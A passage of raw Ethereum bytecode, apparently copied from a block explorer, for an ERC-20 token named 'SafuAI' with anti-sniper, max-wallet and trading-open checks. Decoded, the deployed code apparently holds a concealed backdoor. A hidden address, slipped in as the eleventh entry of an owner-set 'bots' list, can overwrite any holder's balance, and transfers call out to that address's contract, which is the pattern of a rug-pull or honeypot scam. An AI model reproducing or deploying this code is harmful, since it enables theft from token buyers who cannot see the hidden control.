0190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115149190611fea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611591576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158890612934565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f8906129c6565b60405180910390fd5b60008111611644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163b90612a58565b60405180910390fd5b61164c610e56565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116ba575061168a610e56565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5157600954811115611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb90612ac4565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117af5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611854576117bf838383611bc6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663906246e18460016040518363ffffffff1660e01b815260040161181d929190612ae4565b600060405180830381600087803b15801561183757600080fd5b505af115801561184b573d6000803e3d6000fd5b50505050611b4c565b600061185f836107a3565b9050600a5482826118709190612b0d565b106118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612baf565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561195b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aae57600860179054906101000a900460ff16156119c15742600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119c057600080fd5b5b601e426119ce9190612b0d565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a1c848484611bc6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632801617e846040518263ffffffff1660e01b8152600401611a779190612151565b600060405180830381600087803b158015611a9157600080fd5b505af1158015611aa5573d6000803e3d6000fd5b50505050611b4a565b611ab9848484611bc6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663906246e18560006040518363ffffffff1660e01b8152600401611b17929190612ae4565b600060405180830381600087803b158015611b3157600080fd5b505af1158015611b45573d6000803e3d6000fd5b505050505b505b611b5d565b611b5c838383611bc6565b5b505050565b6000838311158290611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba19190611e9b565b60405180910390fd5b5060008385611bb99190612bcf565b9050809150509392505050565b611c1881600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cad81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d4d9190611fea565b60405180910390a3505050565b6000611d9c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b62565b905092915050565b6000808284611db39190612b0d565b905083811015611df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611def90612c4f565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e3c578082015181840152602081019050611e21565b83811115611e4b576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e6d82611e02565b611e778185611e0d565b9350611e87818560208601611e1e565b611e9081611e51565b840191505092915050565b60006020820190508181036000830152611eb58184611e62565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611efc82611ed1565b9050919050565b611f0c81611ef1565b8114611f1757600080fd5b50565b600081359050611f2981611f03565b92915050565b6000819050919050565b611f4281611f2f565b8114611f4d57600080fd5b50565b600081359050611f5f81611f39565b92915050565b60008060408385031215611f7c57611f7b611ec7565b5b6000611f8a85828601611f1a565b9250506020611f9b85828601611f50565b9150509250929050565b60008115159050919050565b611fba81611fa5565b82525050565b6000602082019050611fd56000830184611fb1565b92915050565b611fe481611f2f565b82525050565b6000602082019050611fff6000830184611fdb565b92915050565b60008060006060848603121561201e5761201d611ec7565b5b600061202c86828701611f1a565b935050602061203d86828701611f1a565b925050604061204e86828701611f50565b9150509250925092565b600060ff82169050919050565b61206e81612058565b82525050565b60006020820190506120896000830184612065565b92915050565b6000602082840312156120a5576120a4611ec7565b5b60006120b384828501611f50565b91505092915050565b6120c581611fa5565b81146120d057600080fd5b50565b6000813590506120e2816120bc565b92915050565b6000602082840312156120fe576120fd611ec7565b5b600061210c848285016120d3565b91505092915050565b60006020828403121561212b5761212a611ec7565b5b600061213984828501611f1a565b91505092915050565b61214b81611ef1565b82525050565b60006020820190506121666000830184612142565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121a982611e51565b810181811067ffffffffffffffff821117156121c8576121c7612171565b5b80604052505050565b60006121db611ebd565b90506121e782826121a0565b919050565b600067ffffffffffffffff82111561220757612206612171565b5b602082029050602081019050919050565b600080fd5b600061223061222b846121ec565b6121d1565b9050808382526020820190506020840283018581111561225357612252612218565b5b835b8181101561227c57806122688882611f1a565b845260208401935050602081019050612255565b5050509392505050565b600082601f83011261229b5761229a61216c565b5b81356122ab84826020860161221d565b91505092915050565b6000602082840312156122ca576122c9611ec7565b5b600082013567ffffffffffffffff8111156122e8576122e7611ecc565b5b6122f484828501612286565b91505092915050565b6000806040838503121561231457612313611ec7565b5b600061232285828601611f1a565b925050602061233385828601611f1a565b9150509250929050565b7f4572726f723a20736e697065722077616c6c65742e0000000000000000000000600082015250565b6000612373601583611e0d565b915061237e8261233d565b602082019050919050565b600060208201905081810360008301526123a281612366565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123df602083611e0d565b91506123ea826123a9565b602082019050919050565b6000602082019050818103600083015261240e816123d2565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061244b601783611e0d565b915061245682612415565b602082019050919050565b6000602082019050818103600083015261247a8161243e565b9050919050565b60008151905061249081611f03565b92915050565b6000602082840312156124ac576124ab611ec7565b5b60006124ba84828501612481565b91505092915050565b60006040820190506124d86000830185612142565b6124e56020830184612142565b9392505050565b6000819050919050565b6000819050919050565b600061251b612516612511846124ec565b6124f6565b611f2f565b9050919050565b61252b81612500565b82525050565b600060c0820190506125466000830189612142565b6125536020830188611fdb565b6125606040830187612522565b61256d6060830186612522565b61257a6080830185612142565b61258760a0830184611fdb565b979650505050505050565b6000815190506125a181611f39565b92915050565b6000806000606084860312156125c0576125bf611ec7565b5b60006125ce86828701612592565b93505060206125df86828701612592565b92505060406125f086828701612592565b9150509250925092565b600060408201905061260f6000830185612142565b61261c6020830184611fdb565b9392505050565b600081519050612632816120bc565b92915050565b60006020828403121561264e5761264d611ec7565b5b600061265c84828501612623565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126ce82611f2f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561270157612700612694565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612768602683611e0d565b91506127738261270c565b604082019050919050565b600060208201905081810360008301526127978161275b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006127fa602483611e0d565b91506128058261279e565b604082019050919050565b60006020820190508181036000830152612829816127ed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061288c602283611e0d565b915061289782612830565b604082019050919050565b600060208201905081810360008301526128bb8161287f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061291e602583611e0d565b9150612929826128c2565b604082019050919050565b6000602082019050818103600083015261294d81612911565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006129b0602383611e0d565b91506129bb82612954565b604082019050919050565b600060208201905081810360008301526129df816129a3565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612a42602983611e0d565b9150612a4d826129e6565b604082019050919050565b60006020820190508181036000830152612a7181612a35565b9050919050565b7f457863656564206d6178207472616e73616374696f6e20616d6f756e74000000600082015250565b6000612aae601d83611e0d565b9150612ab982612a78565b602082019050919050565b60006020820190508181036000830152612add81612aa1565b9050919050565b6000604082019050612af96000830185612142565b612b066020830184611fb1565b9392505050565b6000612b1882611f2f565b9150612b2383611f2f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b5857612b57612694565b5b828201905092915050565b7f457863656564206d61782077616c6c657420616d6f756e740000000000000000600082015250565b6000612b99601883611e0d565b9150612ba482612b63565b602082019050919050565b60006020820190508181036000830152612bc881612b8c565b9050919050565b6000612bda82611f2f565b9150612be583611f2f565b925082821015612bf857612bf7612694565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612c39601b83611e0d565b9150612c4482612c03565b602082019050919050565b60006020820190508181036000830152612c6881612c2c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099b8fdf806e4fefd2a7c36206f5dc33adcc5f29b0626d503e1de7fb81985850864736f6c634300080a0033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063dc07b617146103b6578063dd62ed3e146103cd578063f2fde38b1461040a57610114565b8063715018a6146102cc5780637c519ffb146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b80633066dbb7116100dc5780633066dbb7146101e9578063313ce56714610212578063333c39a51461023d5780635932ead11461026657806370a082311461028f57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610433565b60405161013b9190611e9b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611f65565b610470565b6040516101789190611fc0565b60405180910390f35b34801561018d57600080fd5b5061019661048e565b6040516101a39190611fea565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612005565b610498565b6040516101e09190611fc0565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190611f65565b610571565b005b34801561021e57600080fd5b50610227610649565b6040516102349190612074565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061208f565b610652565b005b34801561027257600080fd5b5061028d600480360381019061028891906120e8565b6106f1565b005b34801561029b57600080fd5b506102b660048036038101906102b19190612115565b6107a3565b6040516102c39190611fea565b60405180910390f35b3480156102d857600080fd5b506102e16107ec565b005b3480156102ef57600080fd5b506102f861093f565b005b34801561030657600080fd5b5061030f610e56565b60405161031c9190612151565b60405180910390f35b34801561033157600080fd5b5061033a610e7f565b6040516103479190611e9b565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190611f65565b610ebc565b6040516103849190611fc0565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af91906122b4565b610eda565b005b3480156103c257600080fd5b506103cb611060565b005b3480156103d957600080fd5b506103f460048036038101906103ef91906122fd565b611105565b6040516104019190611fea565b60405180910390f35b34801561041657600080fd5b50610431600480360381019061042c9190612115565b61118c565b005b60606040518060400160405280600681526020017f5341465541490000000000000000000000000000000000000000000000000000815250905090565b600061048461047d61134e565b8484611356565b6001905092915050565b6000600554905090565b60006104a5848484611521565b610566846104b161134e565b61056185604051806060016040528060288152602001612c7060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061051761134e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b629092919063ffffffff16565b611356565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f890612389565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006009905090565b61065a61134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de906123f5565b60405180910390fd5b8060098190555050565b6106f961134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d906123f5565b60405180910390fd5b80600860176101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107f461134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610878906123f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61094761134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cb906123f5565b60405180910390fd5b600860149054906101000a900460ff1615610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612461565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aad30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611356565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612496565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba79190612496565b6040518363ffffffff1660e01b8152600401610bc49291906124c3565b6020604051808303816000875af1158015610be3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c079190612496565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c90306107a3565b600080610c9b610e56565b426040518863ffffffff1660e01b8152600401610cbd96959493929190612531565b60606040518083038185885af1158015610cdb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d0091906125a7565b5050506001600860166101000a81548160ff0219169083151502179055506001600860176101000a81548160ff02191690831515021790555066470de4df82000060098190555066470de4df820000600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e0f9291906125fa565b6020604051808303816000875af1158015610e2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e529190612638565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5361667541490000000000000000000000000000000000000000000000000000815250905090565b6000610ed0610ec961134e565b8484611521565b6001905092915050565b610ee261134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906123f5565b60405180910390fd5b60005b815181101561100057600160046000848481518110610f9457610f93612665565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ff8906126c3565b915050610f72565b5080600a8151811061101557611014612665565b5b6020026020010151600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61106861134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec906123f5565b60405180910390fd5b6110fd61048e565b600a81905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61119461134e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611221576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611218906123f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112889061277e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bd90612810565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142d906128a2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115149190611fea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611591576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158890612934565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f8906129c6565b60405180910390fd5b60008111611644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163b90612a58565b60405180910390fd5b61164c610e56565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116ba575061168a610e56565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5157600954811115611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb90612ac4565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117af5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611854576117bf838383611bc6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663906246e18460016040518363ffffffff1660e01b815260040161181d929190612ae4565b600060405180830381600087803b15801561183757600080fd5b505af115801561184b573d6000803e3d6000fd5b50505050611b4c565b600061185f836107a3565b9050600a5482826118709190612b0d565b106118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790612baf565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561195b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611aae57600860179054906101000a900460ff16156119c15742600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119c057600080fd5b5b601e426119ce9190612b0d565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a1c848484611bc6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632801617e846040518263ffffffff1660e01b8152600401611a779190612151565b600060405180830381600087803b158015611a9157600080fd5b505af1158015611aa5573d6000803e3d6000fd5b50505050611b4a565b611ab9848484611bc6565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663906246e18560006040518363ffffffff1660e01b8152600401611b17929190612ae4565b600060405180830381600087803b158015611b3157600080fd5b505af1158015611b45573d6000803e3d6000fd5b505050505b505b611b5d565b611b5c838383611bc6565b5b505050565b6000838311158290611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba19190611e9b565b60405180910390fd5b5060008385611bb99190612bcf565b9050809150509392505050565b611c1881600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d5a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cad81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d4d9190611fea565b60405180910390a3505050565b6000611d9c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b62565b905092915050565b6000808284611db39190612b0d565b905083811015611df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611def90612c4f565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e3c578082015181840152602081019050611e21565b83811115611e4b576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e6d82611e02565b611e778185611e0d565b9350611e87818560208601611e1e565b611e9081611e51565b840191505092915050565b60006020820190508181036000830152611eb58184611e62565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611efc82611ed1565b9050919050565b611f0c81611ef1565b8114611f1757600080fd5b50565b600081359050611f2981611f03565b92915050565b6000819050919050565b611f4281611f2f565b8114611f4d57600080fd5b50565b600081359050611f5f81611f39565b92915050565b60008060408385031215611f7c57611f7b611ec7565b5b6000611f8a85828601611f1a565b9250506020611f9b85828601611f50565b9150509250929050565b60008115159050919050565b611fba81611fa5565b82525050565b6000602082019050611fd56000830184611fb1565b92915050565b611fe481611f2f565b82525050565b6000602082019050611fff6000830184611fdb565b92915050565b60008060006060848603121561201e5761201d611ec7565b5b600061202c86828701611f1a565b935050602061203d86828701611f1a565b925050604061204e86828701611f50565b9150509250925092565b600060ff82169050919050565b61206e81612058565b82525050565b60006020820190506120896000830184612065565b92915050565b6000602082840312156120a5576120a4611ec7565b5b60006120b384828501611f50565b91505092915050565b6120c581611fa5565b81146120d057600080fd5b50565b6000813590506120e2816120bc565b92915050565b6000602082840312156120fe576120fd611ec7565b5b600061210c848285016120d3565b91505092915050565b60006020828403121561212b5761212a611ec7565b5b600061213984828501611f1a565b91505092915050565b61214b81611ef1565b82525050565b60006020820190506121666000830184612142565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121a982611e51565b810181811067ffffffffffffffff821117156121c8576121c7612171565b5b80604052505050565b60006121db611ebd565b90506121e782826121a0565b919050565b600067ffffffffffffffff82111561220757612206612171565b5b602082029050602081019050919050565b600080fd5b600061223061222b846121ec565b6121d1565b9050808382526020820190506020840283018581111561225357612252612218565b5b835b8181101561227c57806122688882611f1a565b845260208401935050602081019050612255565b5050509392505050565b600082601f83011261229b5761229a61216c565b5b81356122ab84826020860161221d565b91505092915050565b6000602082840312156122ca576122c9611ec7565b5b600082013567ffffffffffffffff8111156122e8576122e7611ecc565b5b6122f484828501612286565b91505092915050565b6000806040838503121561231457612313611ec7565b5b600061232285828601611f1a565b925050602061233385828601611f1a565b9150509250929050565b7f4572726f723a20736e697065722077616c6c65742e0000000000000000000000600082015250565b6000612373601583611e0d565b915061237e8261233d565b602082019050919050565b600060208201905081810360008301526123a281612366565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123df602083611e0d565b91506123ea826123a9565b602082019050919050565b6000602082019050818103600083015261240e816123d2565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b600061244b601783611e0d565b915061245682612415565b602082019050919050565b6000602082019050818103600083015261247a8161243e565b9050919050565b60008151905061249081611f03565b92915050565b6000602082840312156124ac576124ab611ec7565b5b60006124ba84828501612481565b91505092915050565b60006040820190506124d86000830185612142565b6124e56020830184612142565b9392505050565b6000819050919050565b6000819050919050565b600061251b612516612511846124ec565b6124f6565b611f2f565b9050919050565b61252b81612500565b82525050565b600060c0820190506125466000830189612142565b6125536020830188611fdb565b6125606040830187612522565b61256d6060830186612522565b61257a6080830185612142565b61258760a0830184611fdb565b979650505050505050565b6000815190506125a181611f39565b92915050565b6000806000606084860312156125c0576125bf611ec7565b5b60006125ce86828701612592565b93505060206125df86828701612592565b92505060406125f086828701612592565b9150509250925092565b600060408201905061260f6000830185612142565b61261c6020830184611fdb565b9392505050565b600081519050612632816120bc565b92915050565b60006020828403121561264e5761264d611ec7565b5b600061265c84828501612623565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126ce82611f2f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561270157612700612694565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612768602683611e0d565b91506127738261270c565b604082019050919050565b600060208201905081810360008301526127978161275b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006127fa602483611e0d565b91506128058261279e565b604082019050919050565b60006020820190508181036000830152612829816127ed565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061288c602283611e0d565b915061289782612830565b604082019050919050565b600060208201905081810360008301526128